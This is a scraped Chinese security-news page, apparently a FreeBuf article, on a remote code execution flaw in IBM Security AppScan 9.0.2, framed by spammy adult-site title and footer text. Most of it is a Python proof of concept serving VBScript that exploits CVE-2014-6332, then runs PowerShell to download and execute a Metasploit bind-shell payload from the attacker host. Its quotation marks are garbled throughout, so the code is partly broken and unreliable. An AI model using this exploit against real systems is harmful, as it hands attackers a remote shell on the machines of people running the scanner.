成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

IBM Security AppScan 9.0.2遠程代碼執行漏洞(含POC)

安全
IBM Security AppScan Standard是美國IBM公司的一套Web應用的安全測試工具。該工具可在應用開發生命周期中進行自動化動態和靜態安全漏洞掃描。該漏洞基于Windows OLE自動化數組遠程代碼執行漏洞,遠程攻擊者可利用此漏洞執行任意代碼。

IBM Security AppScan Standard是美國IBM公司的一套Web應用的安全測試工具。該工具可在應用開發生命周期中進行自動化動態和靜態安全漏洞掃描。該漏洞基于Windows OLE自動化數組遠程代碼執行漏洞,遠程攻擊者可利用此漏洞執行任意代碼。

IBM Security AppScan 9.0.2遠程代碼執行漏洞(含POC)

視頻演示

漏洞POC

#!/usr/bin/pythonimport BaseHTTPServer, socket

### IBM Security AppScan Standard OLE Automation Array Remote Code Execution## Author: Naser Farhadi# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909## Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7## Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/ # if you able to exploit IE then you can exploit appscan and acunetix ;)# This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And# Metasploit windows/shell_bind_tcp Executable Payload## Usage:#       chmod +x appscan.py#       ./appscan.py## Video: http://youtu.be/hPs1zQaBLMU       ...#       nc 172.20.10.14 333##class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(req):
        req.send_response(200)
        if req.path == "/payload.exe":
            req.send_header(,Content-type,, application/exe,)
            req.end_headers()
            exe = open("payload.exe", rb,)
            req.wfile.write(exe.read())
            exe.close()
        else:
            req.send_header(,Content-type,, text/html,)
            req.end_headers()
            req.wfile.write("""Please scan me!
                            <SCRIPT LANGUAGE="VBScript">
                            function runmumaa() 
                            On Error Resume Next
                            set shell=createobject("Shell.Application")
                            command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile(,http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe,,\
                            ,payload.exe,);$(New-Object -com Shell.Application).ShellExecute(,payload.exe,);"
                            shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
                            end function

                            dim   aa()
                            dim   ab()
                            dim   a0
                            dim   a1
                            dim   a2
                            dim   a3
                            dim   win9x
                            dim   intVersion
                            dim   rnda
                            dim   funclass
                            dim   myarray

                            Begin()

                            function Begin()
                              On Error Resume Next
                              info=Navigator.UserAgent

                              if(instr(info,"Win64")>0)   then
                                 exit   function
                              end if

                              if (instr(info,"MSIE")>0)   then 
                                         intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
                              else
                                 exit   function  
                                         
                              end if

                              win9x=0

                              BeginInit()
                              If Create()=True Then
                                 myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
                                 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

                                 if(intVersion<4) then
                                     document.write("<br> IE")
                                     document.write(intVersion)
                                     runshellcode()                    
                                 else  
                                      setnotsafemode()
                                 end if
                              end if
                            end function

                            function BeginInit()
                               Randomize()
                               redim aa(5)
                               redim ab(5)
                               a0=13+17*rnd(6)
                               a3=7+3*rnd(5)
                            end function

                            function Create()
                              On Error Resume Next
                              dim i
                              Create=False
                              For i = 0 To 400
                                If Over()=True Then
                                ,   document.write(i)     
                                   Create=True
                                   Exit For
                                End If 
                              Next
                            end function

                            sub testaa()
                            end sub

                            function mydata()
                                On Error Resume Next
                                 i=testaa
                                 i=null
                                 redim  Preserve aa(a2)  
                              
                                 ab(0)=0
                                 aa(a1)=i
                                 ab(0)=6.36598737437801E-314

                                 aa(a1+2)=myarray
                                 ab(2)=1.74088534731324E-310  
                                 mydata=aa(a1)
                                 redim  Preserve aa(a0)  
                            end function 


                            function setnotsafemode()
                                On Error Resume Next
                                i=mydata()  
                                i=readmemo(i+8)
                                i=readmemo(i+16)
                                j=readmemo(i+&h134)  
                                for k=0 to &h60 step 4
                                    j=readmemo(i+&h120+k)
                                    if(j=14) then
                                          j=0          
                                          redim  Preserve aa(a2)             
                                 aa(a1+2)(i+&h11c+k)=ab(4)
                                          redim  Preserve aa(a0)  

                                 j=0 
                                          j=readmemo(i+&h120+k)   
                                     
                                           Exit for
                                       end if

                                next 
                                ab(2)=1.69759663316747E-313
                                runmumaa() 
                            end function

                            function Over()
                                On Error Resume Next
                                dim type1,type2,type3
                                Over=False
                                a0=a0+a3
                                a1=a0+2
                                a2=a0+&h8000000
                              
                                redim  Preserve aa(a0) 
                                redim   ab(a0)     
                              
                                redim  Preserve aa(a2)
                              
                                type1=1
                                ab(0)=1.123456789012345678901234567890
                                aa(a0)=10
                                      
                                If(IsObject(aa(a1-1)) = False) Then
                                   if(intVersion<4) then
                                       mem=cint(a0+1)*16             
                                       j=vartype(aa(a1-1))
                                       if((j=mem+4) or (j*8=mem+8)) then
                                          if(vartype(aa(a1-1))<>0)  Then    
                                             If(IsObject(aa(a1)) = False ) Then             
                                               type1=VarType(aa(a1))
                                             end if               
                                          end if
                                       else
                                         redim  Preserve aa(a0)
                                         exit  function

                                       end if 
                                    else
                                       if(vartype(aa(a1-1))<>0)  Then    
                                          If(IsObject(aa(a1)) = False ) Then
                                              type1=VarType(aa(a1))
                                          end if               
                                        end if
                                    end if
                                end if
                                          
                                
                                If(type1=&h2f66) Then         
                                      Over=True      
                                End If  
                                If(type1=&hB9AD) Then
                                      Over=True
                                      win9x=1
                                End If  

                                redim  Preserve aa(a0)          
                                    
                            end function

                            function ReadMemo(add) 
                                On Error Resume Next
                                redim  Preserve aa(a2)  
                              
                                ab(0)=0   
                                aa(a1)=add+4     
                                ab(0)=1.69759663316747E-313       
                                ReadMemo=lenb(aa(a1))  
                               
                                ab(0)=0    
                             
                                redim  Preserve aa(a0)
                            end function

                            </script>""")if __name__ == __main__,:
    sclass = BaseHTTPServer.HTTPServer
    server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
    print "Http server started", socket.gethostbyname(socket.gethostname()), 80
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass
    server.server_close()

 

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2012-11-30 10:29:47

2015-04-30 08:11:40

2015-03-06 15:31:01

2021-01-26 10:00:45

漏洞網絡安全網絡攻擊

2012-08-05 16:57:13

2014-09-12 17:47:36

2014-08-27 16:22:19

2011-08-04 13:53:04

2017-08-22 13:45:27

2020-10-08 13:44:27

漏洞

2019-05-15 15:20:01

微軟漏洞防護

2013-07-11 09:25:49

2023-12-14 16:20:09

2010-01-25 11:37:30

2010-01-26 11:12:09

2015-04-16 09:49:04

2017-08-15 17:39:52

2015-06-18 10:49:31

2013-05-22 10:28:19

2022-08-10 12:01:50

DrayTek路由器漏洞
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 毛片一区二区三区 | 国产亚洲精品a | 超碰免费在| 国产亚洲精品综合一区 | 亚洲午夜精品一区二区三区他趣 | 日本在线观看视频 | 精久久久 | 欧美福利在线 | 日日干日日操 | 中文字幕在线一区 | 91福利网址 | 天天操夜夜操免费视频 | 亚洲天堂av在线 | 日本久久视频 | 国产一区二区三区四区五区加勒比 | 日本天堂视频在线观看 | 欧美不卡一区二区三区 | 国产精品美女久久久久久久久久久 | 成人污污视频 | 精品欧美一区二区精品久久 | 日韩在线观看视频一区 | 国产小视频在线 | 国产精品夜夜夜一区二区三区尤 | 精品国产欧美一区二区三区不卡 | 国色天香综合网 | 国产偷录视频叫床高潮对白 | 一区二区视频在线观看 | 国产精品99久久久久久久久久久久 | 做a网站 | 日本爱爱| 三级视频网站 | 中文字幕亚洲欧美 | 亚洲444kkkk在线观看最新 | 亚洲国产网 | 日本视频免费观看 | 日韩一区二区在线观看 | 91福利在线观看 | 黄色在线免费观看视频网站 | 日韩精品成人一区二区三区视频 | 毛片黄片| 日韩三片 |